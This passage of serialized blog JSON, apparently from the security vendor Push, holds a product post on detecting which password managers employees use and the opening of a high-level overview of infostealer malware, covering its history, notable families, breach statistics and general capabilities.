865},{},[161165],{"type":926},{"data":161167,"content":161168,"nodeType":866},{},[161169],{"data":161170,"marks":161171,"value":61954,"nodeType":865},{},[],{"data":161173,"content":161174,"nodeType":866},{},[161175],{"data":161176,"marks":161177,"value":61961,"nodeType":865},{},[],{"data":161179,"content":161180,"nodeType":1317},{},[161181],{"data":161182,"marks":161183,"value":61969,"nodeType":865},{},[161184],{"type":926},{"data":161186,"content":161187,"nodeType":866},{},[161188,161191,161198],{"data":161189,"marks":161190,"value":61976,"nodeType":865},{},[],{"data":161192,"content":161193,"nodeType":889},{"uri":6710},[161194],{"data":161195,"marks":161196,"value":6715,"nodeType":865},{},[161197],{"type":943},{"data":161199,"marks":161200,"value":14251,"nodeType":865},{},[],{"data":161202,"content":161203,"nodeType":866},{},[161204],{"data":161205,"marks":161206,"value":61993,"nodeType":865},{},[],{"data":161208,"content":161209,"nodeType":1317},{},[161210],{"data":161211,"marks":161212,"value":62001,"nodeType":865},{},[161213],{"type":926},{"data":161215,"content":161216,"nodeType":866},{},[161217],{"data":161218,"marks":161219,"value":62008,"nodeType":865},{},[],{"data":161221,"content":161222,"nodeType":866},{},[161223],{"data":161224,"marks":161225,"value":62015,"nodeType":865},{},[],{"data":161227,"content":161228,"nodeType":1317},{},[161229],{"data":161230,"marks":161231,"value":62023,"nodeType":865},{},[161232],{"type":926},{"data":161234,"content":161235,"nodeType":866},{},[161236],{"data":161237,"marks":161238,"value":62030,"nodeType":865},{},[],{"data":161240,"content":161241,"nodeType":866},{},[161242],{"data":161243,"marks":161244,"value":62037,"nodeType":865},{},[],{"data":161246,"content":161247,"nodeType":866},{},[161248,161251,161258],{"data":161249,"marks":161250,"value":62044,"nodeType":865},{},[],{"data":161252,"content":161253,"nodeType":889},{"uri":62047},[161254],{"data":161255,"marks":161256,"value":62053,"nodeType":865},{},[161257],{"type":943},{"data":161259,"marks":161260,"value":62057,"nodeType":865},{},[],{"data":161262,"content":161265,"nodeType":912},{"target":161263},{"sys":161264},{"id":62062,"type":909,"linkType":910},[],{"data":161267,"content":161268,"nodeType":972},{},[],{"data":161270,"content":161271,"nodeType":981},{},[161272],{"data":161273,"marks":161274,"value":62074,"nodeType":865},{},[161275],{"type":926},{"data":161277,"content":161278,"nodeType":1317},{},[161279],{"data":161280,"marks":161281,"value":62082,"nodeType":865},{},[161282],{"type":926},{"data":161284,"content":161285,"nodeType":866},{},[161286],{"data":161287,"marks":161288,"value":62089,"nodeType":865},{},[],{"data":161290,"content":161291,"nodeType":1616},{},[161292,161311,161330,161359],{"data":161293,"content":161294,"nodeType":1570},{},[161295],{"data":161296,"content":161297,"nodeType":866},{},[161298,161301,161308],{"data":161299,"marks":161300,"value":62102,"nodeType":865},{},[],{"data":161302,"content":161303,"nodeType":889},{"uri":62105},[161304],{"data":161305,"marks":161306,"value":62111,"nodeType":865},{},[161307],{"type":943},{"data":161309,"marks":161310,"value":62115,"nodeType":865},{},[],{"data":161312,"content":161313,"nodeType":1570},{},[161314],{"data":161315,"content":161316,"nodeType":866},{},[161317,161320,161327],{"data":161318,"marks":161319,"value":62125,"nodeType":865},{},[],{"data":161321,"content":161322,"nodeType":889},{"uri":6698},[161323],{"data":161324,"marks":161325,"value":62133,"nodeType":865},{},[161326],{"type":943},{"data":161328,"marks":161329,"value":1615,"nodeType":865},{},[],{"data":161331,"content":161332,"nodeType":1570},{},[161333],{"data":161334,"content":161335,"nodeType":866},{},[161336,161339,161346,161349,161356],{"data":161337,"marks":161338,"value":62146,"nodeType":865},{},[],{"data":161340,"content":161341,"nodeType":889},{"uri":6710},[161342],{"data":161343,"marks":161344,"value":62154,"nodeType":865},{},[161345],{"type":943},{"data":161347,"marks":161348,"value":62158,"nodeType":865},{},[],{"data":161350,"content":161351,"nodeType":889},{"uri":62161},[161352],{"data":161353,"marks":161354,"value":62167,"nodeType":865},{},[161355],{"type":943},{"data":161357,"marks":161358,"value":62171,"nodeType":865},{},[],{"data":161360,"content":161361,"nodeType":1570},{},[161362],{"data":161363,"content":161364,"nodeType":866},{},[161365,161368,161375],{"data":161366,"marks":161367,"value":62181,"nodeType":865},{},[],{"data":161369,"content":161370,"nodeType":889},{"uri":6698},[161371],{"data":161372,"marks":161373,"value":62189,"nodeType":865},{},[161374],{"type":943},{"data":161376,"marks":161377,"value":62193,"nodeType":865},{},[],{"data":161379,"content":161380,"nodeType":866},{},[161381],{"data":161382,"marks":161383,"value":62200,"nodeType":865},{},[],{"data":161385,"content":161386,"nodeType":1317},{},[161387],{"data":161388,"marks":161389,"value":62208,"nodeType":865},{},[161390],{"type":926},{"data":161392,"content":161393,"nodeType":866},{},[161394],{"data":161395,"marks":161396,"value":62215,"nodeType":865},{},[],{"data":161398,"content":161399,"nodeType":866},{},[161400],{"data":161401,"marks":161402,"value":62222,"nodeType":865},{},[],{"data":161404,"content":161407,"nodeType":912},{"target":161405},{"sys":161406},{"id":62227,"type":909,"linkType":910},[],{"data":161409,"content":161410,"nodeType":1317},{},[161411],{"data":161412,"marks":161413,"value":62236,"nodeType":865},{},[161414],{"type":926},{"data":161416,"content":161417,"nodeType":866},{},[161418],{"data":161419,"marks":161420,"value":62243,"nodeType":865},{},[],{"data":161422,"content":161423,"nodeType":866},{},[161424],{"data":161425,"marks":161426,"value":62250,"nodeType":865},{},[],{"data":161428,"content":161429,"nodeType":866},{},[161430],{"data":161431,"marks":161432,"value":62257,"nodeType":865},{},[],{"data":161434,"content":161435,"nodeType":1317},{},[161436],{"data":161437,"marks":161438,"value":62265,"nodeType":865},{},[161439],{"type":926},{"data":161441,"content":161442,"nodeType":866},{},[161443],{"data":161444,"marks":161445,"value":62272,"nodeType":865},{},[],{"data":161447,"content":161448,"nodeType":866},{},[161449],{"data":161450,"marks":161451,"value":62279,"nodeType":865},{},[],{"data":161453,"content":161454,"nodeType":866},{},[161455],{"data":161456,"marks":161457,"value":62286,"nodeType":865},{},[],{"data":161459,"content":161460,"nodeType":866},{},[161461],{"data":161462,"marks":161463,"value":62293,"nodeType":865},{},[],{"data":161465,"content":161468,"nodeType":912},{"target":161466},{"sys":161467},{"id":62298,"type":909,"linkType":910},[],{"data":161470,"content":161471,"nodeType":972},{},[],{"data":161473,"content":161474,"nodeType":981},{},[161475],{"data":161476,"marks":161477,"value":62310,"nodeType":865},{},[161478],{"type":926},{"data":161480,"content":161481,"nodeType":866},{},[161482],{"data":161483,"marks":161484,"value":62317,"nodeType":865},{},[],{"data":161486,"content":161487,"nodeType":1616},{},[161488,161497,161506],{"data":161489,"content":161490,"nodeType":1570},{},[161491],{"data":161492,"content":161493,"nodeType":866},{},[161494],{"data":161495,"marks":161496,"value":62330,"nodeType":865},{},[],{"data":161498,"content":161499,"nodeType":1570},{},[161500],{"data":161501,"content":161502,"nodeType":866},{},[161503],{"data":161504,"marks":161505,"value":62340,"nodeType":865},{},[],{"data":161507,"content":161508,"nodeType":1570},{},[161509],{"data":161510,"content":161511,"nodeType":866},{},[161512],{"data":161513,"marks":161514,"value":62350,"nodeType":865},{},[],{"data":161516,"content":161517,"nodeType":866},{},[161518],{"data":161519,"marks":161520,"value":62357,"nodeType":865},{},[],{"data":161522,"content":161523,"nodeType":866},{},[161524,161527,161533],{"data":161525,"marks":161526,"value":62364,"nodeType":865},{},[],{"data":161528,"content":161529,"nodeType":889},{"uri":62367},[161530],{"data":161531,"marks":161532,"value":62372,"nodeType":865},{},[],{"data":161534,"marks":161535,"value":62376,"nodeType":865},{},[],{"data":161537,"content":161538,"nodeType":866},{},[161539,161542,161549],{"data":161540,"marks":161541,"value":62383,"nodeType":865},{},[],{"data":161543,"content":161544,"nodeType":889},{"uri":62386},[161545],{"data":161546,"marks":161547,"value":62392,"nodeType":865},{},[161548],{"type":943},{"data":161550,"marks":161551,"value":62396,"nodeType":865},{},[],{"data":161553,"content":161556,"nodeType":912},{"target":161554},{"sys":161555},{"id":62401,"type":909,"linkType":910},[],{"data":161558,"content":161559,"nodeType":866},{},[161560],{"data":161561,"marks":161562,"value":21,"nodeType":865},{},[],{"items":161564},[161565],{"sys":161566,"name":7796},{"id":7795},{"items":161568},[161569],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":161570},{"url":7804},{"__typename":1429,"sys":161572,"content":161573,"title":87644,"synopsis":161942,"hashTags":59,"publishedDate":161943,"slug":87645,"tagsCollection":161944,"authorsCollection":161950},{"id":80393},{"json":161574},{"data":161575,"content":161576,"nodeType":1382},{},[161577,161583,161586,161593,161600,161625,161628,161635,161642,161649,161668,161675,161678,161685,161692,161699,161706,161713,161746,161752,161785,161791,161794,161801,161808,161815,161821,161828,161834,161841,161844,161851,161866,161872,161879,161902,161905,161912,161930,161936],{"data":161578,"content":161582,"nodeType":912},{"target":161579},{"sys":161580},{"id":161581,"type":909,"linkType":910},"2qUzJLoMtI3Uaf3ooGw582",[],{"data":161584,"content":161585,"nodeType":972},{},[],{"data":161587,"content":161588,"nodeType":981},{},[161589],{"data":161590,"marks":161591,"value":161592,"nodeType":865},{},[],"Which password managers are my employees using?",{"data":161594,"content":161595,"nodeType":866},{},[161596],{"data":161597,"marks":161598,"value":161599,"nodeType":865},{},[],"Tens of millions of people now use password managers, both at work and at home. And it probably won’t come as much of a surprise that most of Push’s security-savvy customers also provide their users with a corporate password manager. ",{"data":161601,"content":161602,"nodeType":866},{},[161603,161607,161612,161616,161621],{"data":161604,"marks":161605,"value":161606,"nodeType":865},{},[],"Up until now, Push has been able to show you whether or not your employees are using ",{"data":161608,"marks":161609,"value":161611,"nodeType":865},{},[161610],{"type":943},"a",{"data":161613,"marks":161614,"value":161615,"nodeType":865},{},[]," password manager to log into their work apps. But now, we can actually show you ",{"data":161617,"marks":161618,"value":161620,"nodeType":865},{},[161619],{"type":943},"which",{"data":161622,"marks":161623,"value":161624,"nodeType":865},{},[]," password managers they’re using.",{"data":161626,"content":161627,"nodeType":972},{},[],{"data":161629,"content":161630,"nodeType":981},{},[161631],{"data":161632,"marks":161633,"value":161634,"nodeType":865},{},[],"There’s more than first meets the eye with this detection   ",{"data":161636,"content":161637,"nodeType":866},{},[161638],{"data":161639,"marks":161640,"value":161641,"nodeType":865},{},[],"There’s a couple of reasons why you’ll want to know which password managers your employees are using.",{"data":161643,"content":161644,"nodeType":866},{},[161645],{"data":161646,"marks":161647,"value":161648,"nodeType":865},{},[],"The obvious one is to make sure all your employees are using, and benefiting from, the password manager you're providing them with. They’re not cheap and you’ll want to get the best bang for your buck. ",{"data":161650,"content":161651,"nodeType":866},{},[161652,161656,161664],{"data":161653,"marks":161654,"value":161655,"nodeType":865},{},[],"The second reason speaks to a specific concern a lot of security teams have around attackers compromising users’ personal password managers containing corporate passwords, and then being able to pivot into the organization's corporate environment. This is a very valid concern given ",{"data":161657,"content":161658,"nodeType":889},{"uri":132077},[161659],{"data":161660,"marks":161661,"value":161663,"nodeType":865},{},[161662],{"type":943},"the rise in attacks using infostealers",{"data":161665,"marks":161666,"value":161667,"nodeType":865},{},[]," following the Snowflake breach earlier this year. ",{"data":161669,"content":161670,"nodeType":866},{},[161671],{"data":161672,"marks":161673,"value":161674,"nodeType":865},{},[],"Using this feature, you can now detect which password managers are storing credentials for your most sensitive systems and stop this attack scenario from happening.   ",{"data":161676,"content":161677,"nodeType":972},{},[],{"data":161679,"content":161680,"nodeType":981},{},[161681],{"data":161682,"marks":161683,"value":161684,"nodeType":865},{},[],"Why corporate passwords in personal password managers is a big no-no",{"data":161686,"content":161687,"nodeType":866},{},[161688],{"data":161689,"marks":161690,"value":161691,"nodeType":865},{},[],"Remote working, BYOD, and users having both personal and professional accounts on the same platforms (Google, Microsoft etc.) have all blurred the line between people’s work lives and their home lives. It’s not uncommon for one to spill over into the other, and one place we see evidence of this is in password managers. ",{"data":161693,"content":161694,"nodeType":866},{},[161695],{"data":161696,"marks":161697,"value":161698,"nodeType":865},{},[],"Creds for personal accounts end up getting stored in corporate password managers, and corporate creds end up getting stored in personal password managers. ",{"data":161700,"content":161701,"nodeType":866},{},[161702],{"data":161703,"marks":161704,"value":161705,"nodeType":865},{},[],"The big risk when the latter happens is that a sensitive corporate asset (a users’ Microsoft account password for example) is effectively being exfiltrated out of the corporate environment by the user, and placed out of reach of your security team. ",{"data":161707,"content":161708,"nodeType":866},{},[161709],{"data":161710,"marks":161711,"value":161712,"nodeType":865},{},[],"This creates new opportunities for attackers: ",{"data":161714,"content":161715,"nodeType":1616},{},[161716,161726,161736],{"data":161717,"content":161718,"nodeType":1570},{},[161719],{"data":161720,"content":161721,"nodeType":866},{},[161722],{"data":161723,"marks":161724,"value":161725,"nodeType":865},{},[],"Your average user’s personal laptop isn't going to be as well protected as their company laptop. So they offer an easier target for attackers using traditional endpoint compromise techniques. ",{"data":161727,"content":161728,"nodeType":1570},{},[161729],{"data":161730,"content":161731,"nodeType":866},{},[161732],{"data":161733,"marks":161734,"value":161735,"nodeType":865},{},[],"An attacker can compromise a personal laptop with infostealer malware that targets password managers in the browser. If corporate credentials are stored in that personal password manager then they are also going to be stolen. ",{"data":161737,"content":161738,"nodeType":1570},{},[161739],{"data":161740,"content":161741,"nodeType":866},{},[161742],{"data":161743,"marks":161744,"value":161745,"nodeType":865},{},[],"Now the attacker is in possession of the user's Microsoft account credentials, they can potentially pivot from a personal laptop to one of your organization's core platforms over the internet.  ",{"data":161747,"content":161751,"nodeType":912},{"target":161748},{"sys":161749},{"id":161750,"type":909,"linkType":910},"Dw05IslqXVN5unTFuvTZV",[],{"data":161753,"content":161754,"nodeType":1317},{},[161755,161759,161764,161768,161773,161777,161782],{"data":161756,"marks":161757,"value":161758,"nodeType":865},{},[],"Using Push, you can now make sure that sensitive ",{"data":161760,"marks":161761,"value":161763,"nodeType":865},{},[161762],{"type":943},"corporate credentials",{"data":161765,"marks":161766,"value":161767,"nodeType":865},{},[]," stay in your ",{"data":161769,"marks":161770,"value":161772,"nodeType":865},{},[161771],{"type":943},"corporate password manager",{"data":161774,"marks":161775,"value":161776,"nodeType":865},{},[]," and don’t leave your ",{"data":161778,"marks":161779,"value":161781,"nodeType":865},{},[161780],{"type":943},"corporate environment.",{"data":161783,"marks":161784,"value":2688,"nodeType":865},{},[],{"data":161786,"content":161790,"nodeType":912},{"target":161787},{"sys":161788},{"id":161789,"type":909,"linkType":910},"27d7qit3k7ETS9lemJexIJ",[],{"data":161792,"content":161793,"nodeType":972},{},[],{"data":161795,"content":161796,"nodeType":981},{},[161797],{"data":161798,"marks":161799,"value":161800,"nodeType":865},{},[],"All powered by the Push browser extension",{"data":161802,"content":161803,"nodeType":866},{},[161804],{"data":161805,"marks":161806,"value":161807,"nodeType":865},{},[],"Push detects which password managers your employees are using with our browser extension. It observes all your employees logins using their work identities. The telemetry the browser extension generates shows you what employees are logging into, when they’re logging in, how they’re logging in, and if any aspect of that login process is risky or potentially malicious. ",{"data":161809,"content":161810,"nodeType":866},{},[161811],{"data":161812,"marks":161813,"value":161814,"nodeType":865},{},[],"The password managers (and browsers with built-in password managers) supported by this detection are: ",{"data":161816,"content":161820,"nodeType":912},{"target":161817},{"sys":161818},{"id":161819,"type":909,"linkType":910},"7q3CYLPpBhEGyCeP4S0bzJ",[],{"data":161822,"content":161823,"nodeType":866},{},[161824],{"data":161825,"marks":161826,"value":161827,"nodeType":865},{},[],"When a login using one of those password managers is observed by Push, it appears in your events feed. This data can be sent to your SIEM using Push’s webhooks. ",{"data":161829,"content":161833,"nodeType":912},{"target":161830},{"sys":161831},{"id":161832,"type":909,"linkType":910},"qDRJ7CYd81L4RUHQBuHvQ",[],{"data":161835,"content":161836,"nodeType":866},{},[161837],{"data":161838,"marks":161839,"value":161840,"nodeType":865},{},[],"The password manager user will also appear on the corresponding account on the accounts page. Here you can see every workforce account and the login methods used to access them. ",{"data":161842,"content":161843,"nodeType":972},{},[],{"data":161845,"content":161846,"nodeType":981},{},[161847],{"data":161848,"marks":161849,"value":161850,"nodeType":865},{},[],"Bonus feature — detecting clipboard pasting",{"data":161852,"content":161853,"nodeType":866},{},[161854,161858,161863],{"data":161855,"marks":161856,"value":161857,"nodeType":865},{},[],"The eagle-eyed among you might have seen that in the list of supported “password managers” is one called ",{"data":161859,"marks":161860,"value":161862,"nodeType":865},{},[161861],{"type":926},"Clipboard paste",{"data":161864,"marks":161865,"value":14251,"nodeType":865},{},[],{"data":161867,"content":161871,"nodeType":912},{"target":161868},{"sys":161869},{"id":161870,"type":909,"linkType":910},"2ApsFXkrSznhT7cJqSOAIV",[],{"data":161873,"content":161874,"nodeType":866},{},[161875],{"data":161876,"marks":161877,"value":161878,"nodeType":865},{},[],"You’ll see this when we observe users pasting a password into the password field. This detection is really useful for a couple of reasons:",{"data":161880,"content":161881,"nodeType":1616},{},[161882,161892],{"data":161883,"content":161884,"nodeType":1570},{},[161885],{"data":161886,"content":161887,"nodeType":866},{},[161888],{"data":161889,"marks":161890,"value":161891,"nodeType":865},{},[],"Copying passwords from a password manager and pasting them into a login page is bad practice. Password managers typically also store which page the password is for so they won't auto-populate on a phishing page. Pasting your password manually makes you more susceptible to being phished.",{"data":161893,"content":161894,"nodeType":1570},{},[161895],{"data":161896,"content":161897,"nodeType":866},{},[161898],{"data":161899,"marks":161900,"value":161901,"nodeType":865},{},[],"Or, it could indicate that the user is storing their passwords in a notes app, word doc, spreadsheet etc. Obviously these are all low hanging fruit for any attacker so you want to get the user to move their passwords into their password manager and set fire to whatever doc they had been using. ",{"data":161903,"content":161904,"nodeType":972},{},[],{"data":161906,"content":161907,"nodeType":981},{},[161908],{"data":161909,"marks":161910,"value":161911,"nodeType":865},{},[],"Try it out for yourself",{"data":161913,"content":161914,"nodeType":866},{},[161915,161919,161927],{"data":161916,"marks":161917,"value":161918,"nodeType":865},{},[],"If you have any question about this feature or any other of our detection use cases, ",{"data":161920,"content":161921,"nodeType":889},{"uri":16069},[161922],{"data":161923,"marks":161924,"value":161926,"nodeType":865},{},[161925],{"type":943},"book a meeting with one of our team",{"data":161928,"marks":161929,"value":1615,"nodeType":865},{},[],{"data":161931,"content":161935,"nodeType":912},{"target":161932},{"sys":161933},{"id":161934,"type":909,"linkType":910},"6iKFd9Qys2SSuNqKVQB7ka",[],{"data":161937,"content":161938,"nodeType":866},{},[161939],{"data":161940,"marks":161941,"value":21,"nodeType":865},{},[],"Make sure sensitive corporate credentials don’t leave your corporate environment and end up in personal password managers with Push.","2024-11-05T00:00:00.000Z",{"items":161945},[161946,161948],{"sys":161947,"name":126984},{"id":126983},{"sys":161949,"name":297},{"id":2310},{"items":161951},[161952],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":161953},{"url":4618},{"__typename":1429,"sys":161955,"content":161957,"title":163094,"synopsis":163095,"hashTags":59,"publishedDate":163096,"slug":163097,"tagsCollection":163098,"authorsCollection":163104},{"id":161956},"4OrixXXLxRmSDxa7PF9gfM",{"json":161958},{"data":161959,"content":161960,"nodeType":1382},{},[161961,161991,162003,162019,162026,162033,162036,162043,162050,162174,162181,162188,162282,162289,162296,162349,162356,162379,162436,162439,162446,162465,162485,162492,162511,162518,162530,162533,162540,162547,162595,162602,162609,162627,162630,162637,162644,162651,162670,162677,162684,162691,162709,162716,162723,162730,162737,162756,162763,162770,162777,162784,162813,162819,162822,162829,162836,162842,162849,162856,162879,162886,162893,162936,162952,162971,162977,162984,162991,162998,163030,163075,163082,163088],{"data":161962,"content":161963,"nodeType":866},{},[161964,161968,161976,161979,161987],{"data":161965,"marks":161966,"value":161967,"nodeType":865},{},[],"Infostealer malware seems to be grabbing the headlines right now. It’s easy to see why, too, after laying claim to one of the ",{"data":161969,"content":161970,"nodeType":889},{"uri":61637},[161971],{"data":161972,"marks":161973,"value":161975,"nodeType":865},{},[161974],{"type":943},"biggest breaches in history",{"data":161977,"marks":161978,"value":3485,"nodeType":865},{},[],{"data":161980,"content":161981,"nodeType":889},{"uri":13054},[161982],{"data":161983,"marks":161984,"value":161986,"nodeType":865},{},[161985],{"type":943},"recent attacks on Snowflake customers",{"data":161988,"marks":161989,"value":161990,"nodeType":865},{},[]," saw ~165 businesses compromised using stolen credentials, resulting in millions of breached customer records, with the full impact still emerging. ",{"data":161992,"content":161993,"nodeType":866},{},[161994,161998],{"data":161995,"marks":161996,"value":161997,"nodeType":865},{},[],"Notably, ",{"data":161999,"marks":162000,"value":162002,"nodeType":865},{},[162001],{"type":926},"80% of the credentials used to access Snowflake customer accounts had found their way online after being stolen in infostealer infections – dating back as early as 2020. ",{"data":162004,"content":162005,"nodeType":866},{},[162006,162010,162015],{"data":162007,"marks":162008,"value":162009,"nodeType":865},{},[],"The Snowflake situation is a reminder of how lucrative stolen credentials can be for attackers – and how the cybercrime ecosystem has tilted as a result. As the saying goes nowadays, ",{"data":162011,"marks":162012,"value":162014,"nodeType":865},{},[162013],{"type":926},"hackers don’t hack in, they log in",{"data":162016,"marks":162017,"value":162018,"nodeType":865},{},[],". Stolen credentials are the lowest hanging fruit available to attackers, and their appetite (and the ecosystem needed to feed it) is insatiable. As an attacker, the prospect of picking up access to a major enterprise for just $10 or less (or even for free) is hard to resist – why wouldn’t you buy a ticket and take the gamble?  ",{"data":162020,"content":162021,"nodeType":866},{},[162022],{"data":162023,"marks":162024,"value":162025,"nodeType":865},{},[],"Infostealers are a huge part of the shift toward identity attacks. Along with phishing, infostealers are the primary mechanism for attackers to harvest credentials. Unlike phishing, infostealers can collect a large number of credentials (and other helpful data saved in the browser) in one fell swoop. But, they do have limitations. For example, you would expect any credible EDR to detect and block these attacks. And yet, the success of the attacks on Snowflake customers show us that gaps are being found and exploited.  ",{"data":162027,"content":162028,"nodeType":866},{},[162029],{"data":162030,"marks":162031,"value":162032,"nodeType":865},{},[],"In this article, we’ll look at the history of infostealers, how they work, and what the trends show us about how the cybercrime ecosystem is leaning into the opportunity they present.    ",{"data":162034,"content":162035,"nodeType":972},{},[],{"data":162037,"content":162038,"nodeType":981},{},[162039],{"data":162040,"marks":162041,"value":162042,"nodeType":865},{},[],"The state of infostealers today",{"data":162044,"content":162045,"nodeType":866},{},[162046],{"data":162047,"marks":162048,"value":162049,"nodeType":865},{},[],"Infostealers, and the mass credential harvesting they enable, are a big part of the rise in identity attacks. The stats support this, as:",{"data":162051,"content":162052,"nodeType":1616},{},[162053,162075,162094,162115,162135,162154],{"data":162054,"content":162055,"nodeType":1570},{},[162056],{"data":162057,"content":162058,"nodeType":866},{},[162059,162063,162072],{"data":162060,"marks":162061,"value":162062,"nodeType":865},{},[],"One million new stealer logs are distributed every month, with an estimated 3-5% containing credentials and session cookies to corporate IT environments (",{"data":162064,"content":162066,"nodeType":889},{"uri":162065},"https://www.bleepingcomputer.com/news/security/single-sign-on-and-the-cybercrime-ecosystem/",[162067],{"data":162068,"marks":162069,"value":162071,"nodeType":865},{},[162070],{"type":943},"Flare",{"data":162073,"marks":162074,"value":46245,"nodeType":865},{},[],{"data":162076,"content":162077,"nodeType":1570},{},[162078],{"data":162079,"content":162080,"nodeType":866},{},[162081,162084,162091],{"data":162082,"marks":162083,"value":149585,"nodeType":865},{},[],{"data":162085,"content":162086,"nodeType":889},{"uri":149588},[162087],{"data":162088,"marks":162089,"value":149594,"nodeType":865},{},[162090],{"type":943},{"data":162092,"marks":162093,"value":46245,"nodeType":865},{},[],{"data":162095,"content":162096,"nodeType":1570},{},[162097],{"data":162098,"content":162099,"nodeType":866},{},[162100,162104,162112],{"data":162101,"marks":162102,"value":162103,"nodeType":865},{},[],"147,000 token replay attacks were detected by Microsoft in 2023, an 111% increase year-over-year (",{"data":162105,"content":162107,"nodeType":889},{"uri":162106},"https://techcommunity.microsoft.com/t5/microsoft-entra-blog/how-to-break-the-token-theft-cyber-attack-chain/ba-p/4062700",[162108],{"data":162109,"marks":162110,"value":8641,"nodeType":865},{},[162111],{"type":943},{"data":162113,"marks":162114,"value":40358,"nodeType":865},{},[],{"data":162116,"content":162117,"nodeType":1570},{},[162118],{"data":162119,"content":162120,"nodeType":866},{},[162121,162125,162132],{"data":162122,"marks":162123,"value":162124,"nodeType":865},{},[],"Over 1000 credentials are posted online per day, per marketplace with an average sale price of $10, and 65% posted less than one day after being collected (",{"data":162126,"content":162127,"nodeType":889},{"uri":4147},[162128],{"data":162129,"marks":162130,"value":53721,"nodeType":865},{},[162131],{"type":943},{"data":162133,"marks":162134,"value":46245,"nodeType":865},{},[],{"data":162136,"content":162137,"nodeType":1570},{},[162138],{"data":162139,"content":162140,"nodeType":866},{},[162141,162145,162151],{"data":162142,"marks":162143,"value":162144,"nodeType":865},{},[],"Nearly half of the malware detected last year by Sophos targeted victims’ data specifically, and the majority of that malware was classified as infostealers (",{"data":162146,"content":162147,"nodeType":889},{"uri":149610},[162148],{"data":162149,"marks":162150,"value":149616,"nodeType":865},{},[],{"data":162152,"marks":162153,"value":46245,"nodeType":865},{},[],{"data":162155,"content":162156,"nodeType":1570},{},[162157],{"data":162158,"content":162159,"nodeType":866},{},[162160,162164,162171],{"data":162161,"marks":162162,"value":162163,"nodeType":865},{},[],"Attacks on session cookies happen at the same order of magnitude as password-based attacks (",{"data":162165,"content":162166,"nodeType":889},{"uri":149652},[162167],{"data":162168,"marks":162169,"value":149658,"nodeType":865},{},[162170],{"type":943},{"data":162172,"marks":162173,"value":46245,"nodeType":865},{},[],{"data":162175,"content":162176,"nodeType":1317},{},[162177],{"data":162178,"marks":162179,"value":162180,"nodeType":865},{},[],"How did we get here?",{"data":162182,"content":162183,"nodeType":866},{},[162184],{"data":162185,"marks":162186,"value":162187,"nodeType":865},{},[],"Let’s go back to the beginning. When they first emerged, infostealers were designed to steal online banking and credit card information. The most notable early example comes from as far back as 2006 with the ZeuS trojan. After the ZeuS source code was leaked in March 2011, the creation of multiple variants boosted the popularity of this type of malware and inspired the development of infostealers with increasingly sophisticated capabilities.",{"data":162189,"content":162190,"nodeType":866},{},[162191,162195,162204,162208,162217,162221,162230,162233,162242,162245,162254,162257,162266,162269,162278],{"data":162192,"marks":162193,"value":162194,"nodeType":865},{},[],"Modern infostealers rose to prominence in around 2018 with the emergence of ",{"data":162196,"content":162198,"nodeType":889},{"uri":162197},"https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer",[162199],{"data":162200,"marks":162201,"value":162203,"nodeType":865},{},[162202],{"type":943},"Arkei",{"data":162205,"marks":162206,"value":162207,"nodeType":865},{},[],", which quickly spawned the more popular ",{"data":162209,"content":162211,"nodeType":889},{"uri":162210},"https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar",[162212],{"data":162213,"marks":162214,"value":162216,"nodeType":865},{},[162215],{"type":943},"Vidar",{"data":162218,"marks":162219,"value":162220,"nodeType":865},{},[]," stealer. Today, some of the most popular families are ",{"data":162222,"content":162224,"nodeType":889},{"uri":162223},"https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro",[162225],{"data":162226,"marks":162227,"value":162229,"nodeType":865},{},[162228],{"type":943},"RisePro",{"data":162231,"marks":162232,"value":2717,"nodeType":865},{},[],{"data":162234,"content":162236,"nodeType":889},{"uri":162235},"https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer",[162237],{"data":162238,"marks":162239,"value":162241,"nodeType":865},{},[162240],{"type":943},"RedLine",{"data":162243,"marks":162244,"value":2717,"nodeType":865},{},[],{"data":162246,"content":162248,"nodeType":889},{"uri":162247},"https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc",[162249],{"data":162250,"marks":162251,"value":162253,"nodeType":865},{},[162252],{"type":943},"StealC",{"data":162255,"marks":162256,"value":2717,"nodeType":865},{},[],{"data":162258,"content":162260,"nodeType":889},{"uri":162259},"https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon",[162261],{"data":162262,"marks":162263,"value":162265,"nodeType":865},{},[162264],{"type":943},"Raccoon",{"data":162267,"marks":162268,"value":3476,"nodeType":865},{},[],{"data":162270,"content":162272,"nodeType":889},{"uri":162271},"https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma",[162273],{"data":162274,"marks":162275,"value":162277,"nodeType":865},{},[162276],{"type":943},"Lumma",{"data":162279,"marks":162280,"value":162281,"nodeType":865},{},[],", with new variants and families appearing all the time. ",{"data":162283,"content":162284,"nodeType":866},{},[162285],{"data":162286,"marks":162287,"value":162288,"nodeType":865},{},[],"Infostealers are used by all manner of threat actors of varying levels of sophistication. For larger groups with sufficient resources, the creation of new, custom stealers and malware packages is a common tactic to attempt to evade detection. ",{"data":162290,"content":162291,"nodeType":866},{},[162292],{"data":162293,"marks":162294,"value":162295,"nodeType":865},{},[],"But despite all the variants, infostealers do have common capabilities and characteristics, such as:",{"data":162297,"content":162298,"nodeType":1616},{},[162299,162309,162319,162329,162339],{"data":162300,"content":162301,"nodeType":1570},{},[162302],{"data":162303,"content":162304,"nodeType":866},{},[162305],{"data":162306,"marks":162307,"value":162308,"nodeType":865},{},[],"Extracting information from the browsers of a compromised device, such as passwords, cookies, autofill information, downloaded file information.",{"data":162310,"content":162311,"nodeType":1570},{},[162312],{"data":162313,"content":162314,"nodeType":866},{},[162315],{"data":162316,"marks":162317,"value":162318,"nodeType":865},{},[],"Snapshotting the desktop and system inventory, with details such as the username, location data, hardware configuration, and information regarding installed security software.",{"data":162320,"content":162321,"nodeType":1570},{},[162322],{"data":162323,"content":162324,"nodeType":866},{},[162325],{"data":162326,"marks":162327,"value":162328,"nodeType":865},{},[],"Sending stolen data back to a C2 server.",{"data":162330,"content":162331,"nodeType":1570},{},[162332],{"data":162333,"content":162334,"nodeType":866},{},[162335],{"data":162336,"marks":162337,"value":162338,"nodeType":865},{},[],"Facilitating the deployment of additional tools and malware as part of a package. 